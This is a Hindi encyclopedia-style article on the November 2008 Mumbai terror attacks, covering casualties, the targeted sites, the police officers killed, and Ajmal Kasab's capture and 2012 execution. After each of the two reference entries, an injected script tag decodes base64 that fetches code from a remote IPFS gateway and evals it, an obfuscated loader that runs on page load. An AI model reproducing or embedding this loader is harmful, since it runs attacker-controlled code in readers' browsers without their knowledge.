मुम्बई हमला 2008

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मुम्बई हमला 2008
मुम्बई हमला 2008
विवरण यह हमला उन दहशत भरे 60 घंटों की दास्तान हैं जब हथियारों से पूरी तरह से लैस 10 आतंकियों ने शहर में चारों तरफ मौत का तांडव मचाया था।
दिनांक 26 नवम्बर-27 नवम्बर, 2008
स्थान मुम्बई, महाराष्ट्र
लक्ष्य ताज होटल, शिवाजी टर्मिनल, नरीमन हाऊस, ट्राइडेंट होटल
मृतकों की संख्या 164
घायलों की संख्या लगभग 308 लोग बुरी तरह से घायल हुए।
न्यायिक प्रक्रिया हमले में शामिल 10 आतंकियों में से केवल एक अजमल कसाब ही जिंदा पकड़ा गया था। अजमल कसाब ने पकड़े जाने के बाद हुई गहन पूछताछ में यह कबूल किया था कि इन हमलों को पाकिस्तान की आईएसआई की शह पर ही अंजाम दिया गया था।
विशेष इस हमले में मुंबई पुलिस के 3 अधिकारी और 14 पुलिसकर्मी शहीद हुए थे, जिनमें एटीएस प्रमुख हेमंत करकरे, आईपीएस अधिकारी अशोक मारूति राव काम्टे, एनकाउंटर विशेषज्ञ विजय सालस्कर, कांस्टेबल अरूण चिट्टे का नाम प्रमुख तौर पर लिया जाता है।
संबंधित लेख मुम्बई बम विस्फोट 1993, मुम्बई बम विस्फोट 2011
अन्य जानकारी हमले में पकड़े गए इकलौते आतंकी अजमल कसाब को भारत सरकार के आदेशानुसार 21 नवंबर, 2012 को फाँसी दे दी गई।

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महाराष्ट्र की राजधानी मुम्बई में 26 नवम्बर 2008 बुधवार को किए गए हमले उन दहशत भरे 60 घंटों की दास्तान हैं जब हथियारों से पूरी तरह से लैस 10 आतंकियों ने शहर में चारों तरफ मौत का तांडव मचाया था। ये हमले तीन दिन और चार रात शनिवार 29 नवंबर तक चले। इस भयावह मंजर में 164 मासूम लोगों ने जान गंवाई थी और क़रीब 308 लोग बुरी तरह से घायल हुए थे। हमले में पकड़े गए इकलौते आतंकी अजमल कसाब को भारत सरकार ने फाँसी की सजा दी थी।

स्मरणीय बिंदु

  • आतंकवादियों ने पूरे विश्व का ध्यान अपनी ओर आकर्षित करने के लिए हमले को बहुत ही सुनियोजित तरीके से अंजाम दिया था। हमले के दौरान उन्होंने ख़ास तौर पर इसमें यूरोपीय और अमरीकी समुदाय के लोगों को‍ ही अपना निशाना बनाया। लेकिन न तो राज्य न ही केन्द्र सरकार को ही इस हमले की पहले से कोई भनक पड़ी थी।
  • मौत कर तांडव रचाने वाले आतंकवादियों ने भारत के मुंबई की एटीएस (एंटी टेरेरिस्ट स्क्वॉड) के 3 नामचीन आला अधिकारी और पुलिस के 14 जवानों समेत 110 से ज्यादा लोगों को हमेशा-हमेशा के लिए दुनिया से विदा कर दिया।
  • हमले में शामिल 10 आतंकियों में से केवल एक अजमल कसाब ही जिंदा पकड़ा गया था। अजमल कसाब ने पकड़े जाने के बाद हुई गहन पूछताछ में यह कबूल किया था कि इन हमलों को पाकिस्तान की आईएसआई की शह पर ही अंजाम दिया गया था।
  • यह आईएसआई ही है जिसकी शह पर हमले के कुछ वायरस अब भी पाकिस्तान में पाले-पोसे जा रहे हैं। जमात-उद-दावा के प्रमुख हाफिज सईद पर अमरीका ने 10 मिलियन डॉलर का इनाम जारी कर रखा है।
  • हमले के बाद पाकिस्तान को दिए गए सारे सबूतों के बाद भी उसने केवल खानापूर्ती ही दिखाई है और कोई भी नतीजा नहीं निकाला। यहां तक कि उसने तो दिए गए सबूतों को केवल सूचना ही करार दिया है।
  • हमले में शामिल 10 आतंकी नावों से समुद्री रास्ते भारत में घुसे थे और फिर एक के बाद एक ताज होटल, शिवाजी टर्मिनल, नारीमन हाऊस, ट्राइडेंट होटल जैसे मुख्य स्थानों पर जाकर मोर्चाबंदी कर ली।
  • बॉलीवुड मेगास्टार अमिताभ बच्चन इतने परेशान थे कि अपने तकिए के नीचे अपना लाइसेंसी रिवाल्वर रख कर सोए थे। हालांकि वे पूरी रात चैन की नींद नहीं ले पाए थे।
  • इस हमले में मुंबई पुलिस के 3 अधिकारी और 14 पुलिसवाले शहीद हुए थे, जिनमें एटीएस प्रमुख हेमंत करकरे, आईपीएस अधिकारी अशोक मारूति राव काम्टे, एनकाउंटर विशेषज्ञ विजय सालस्कर, कांस्टेबल अरूण चिट्टे का नाम प्रमुख तौर पर लिया जाता रहा है।[1]

अजमल कसाब को फाँसी

26/11 हमले के दोषी अजमल आमिर कसाब को 21 नवंबर, 2012 बुधवार की सुबह 7 बजकर 36 मिनट पर फाँसी दे दी गई। राष्ट्रपति प्रणब मुखर्जी ने 5 नवंबर 2012 को कसाब की दया याचिका खारिज कर दी थी जिसके बाद कोर्ट ने कसाब की फाँसी की तारीख और समय 21 नवंबर को 7 बजकर 36 मिनट तय किया था। कसाब को गुप्‍त तरीके से सोमवार को यरवडा जेल लाया गया। दरअसल फाँसी देने का काम यरवदा जेल में किया जाता है और कसाब की माफी खारिज किए जाने के बाद येरवडा जेल में शिफ्ट किया गया था। 2009 से कसाब मुंबई के आर्थर जेल रोड में बंद था। सरकार ने इस मामले में पूरी गोपनीयता बरती और आर्थर रोड जेल से निकाल कर येरवडा जेल ले जाया गया और तय समय के मुताबिक़ उसे सुबह 7.36 बजे फाँसी दे दी गई। यरवडा जेल अधिकारियों के मुताबिक़ फाँसी से पहले कसाब तनाव में था। फाँसी की बात बताने के बाद से उसने किसी से बात तक नहीं की थी। यही नहीं उससे अंतिम इच्‍छा भी पूछी गई लेकिन उसने अपनी कोई अंतिम इच्‍छा जाहिर नहीं की। फाँसी के बाद 8 बजकर 40 मिनट में उसे यरवडा जेल में ही दफना दिया गया। पाकिस्तान ने भारत से कसाब के शव की भी मांग नहीं की जिसके बाद उसे भारत में ही दफनाने का फैसला लिया गया।[2]

टीका टिप्पणी और संदर्भ

  1. 26/11 मुंबई हमले की पूरी कहानी (हिन्दी) अजेय भारत। अभिगमन तिथि: 13 दिसम्बर, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. आतंकी अजमल कसाब को फाँसी दी गई (हिन्दी) आजतक। अभिगमन तिथि: 13 दिसम्बर, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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